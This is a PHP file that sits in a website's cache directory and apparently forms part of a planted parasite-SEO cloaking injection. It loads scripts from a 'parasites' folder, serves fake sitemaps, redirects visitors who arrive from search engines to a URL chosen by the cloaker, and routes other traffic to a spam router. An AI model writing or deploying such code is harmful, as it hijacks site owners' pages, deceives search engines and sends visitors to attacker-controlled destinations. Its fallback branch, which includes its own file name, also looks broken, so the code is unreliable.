File: /home/sioberen/www/cache/index.php
<?php
$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$request_path = parse_url($request_uri, PHP_URL_PATH);
$query_string = parse_url($request_uri, PHP_URL_QUERY);
$exceptions = array(
'/admin/',
'/administrator/',
'/cache/',
'/tmp/',
'/temp/',
'/logs/',
'/assets/',
'/static/',
'/media/',
'/uploads/',
'/wp-admin/',
'/wp-content/',
'/wp-includes/',
);
$is_exception = false;
foreach ($exceptions as $exception) {
if (strpos($request_path, $exception) === 0) {
$is_exception = true;
break;
}
}
$static_extensions = array('php', 'css', 'js', 'png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'woff', 'woff2', 'ttf', 'eot', 'xml', 'txt', 'pdf');
$is_static_file = false;
foreach ($static_extensions as $ext) {
if (preg_match('/\.' . preg_quote($ext, '/') . '$/', $request_path)) {
$is_static_file = true;
break;
}
}
if (preg_match('/^sitemap.*\.xml$/', isset($query_string) ? $query_string : '') || preg_match('/^\/sitemap.*\.xml$/', $request_path)) {
require_once __DIR__ . '/parasites/sitemap.php';
exit();
}
if (!$is_exception && !$is_static_file) {
require_once __DIR__ . '/parasites/cloaking.php';
$clean_path = trim($request_path, '/');
if (isset($cloaker) && $cloaker->is_human_from_search) {
header('Location: ' . $cloaker->getRedirectUrl());
exit();
} elseif (isset($blocked) && $blocked) {
$clean_path = '/' . $clean_path;
require_once __DIR__ . '/parasites/router.php';
exit();
}
}
// 降级处理:直接加载index.php或404
if (file_exists(__DIR__ . '/index.php')) {
require __DIR__ . '/index.php';
} else {
http_response_code(404);
echo 'Page not found';
}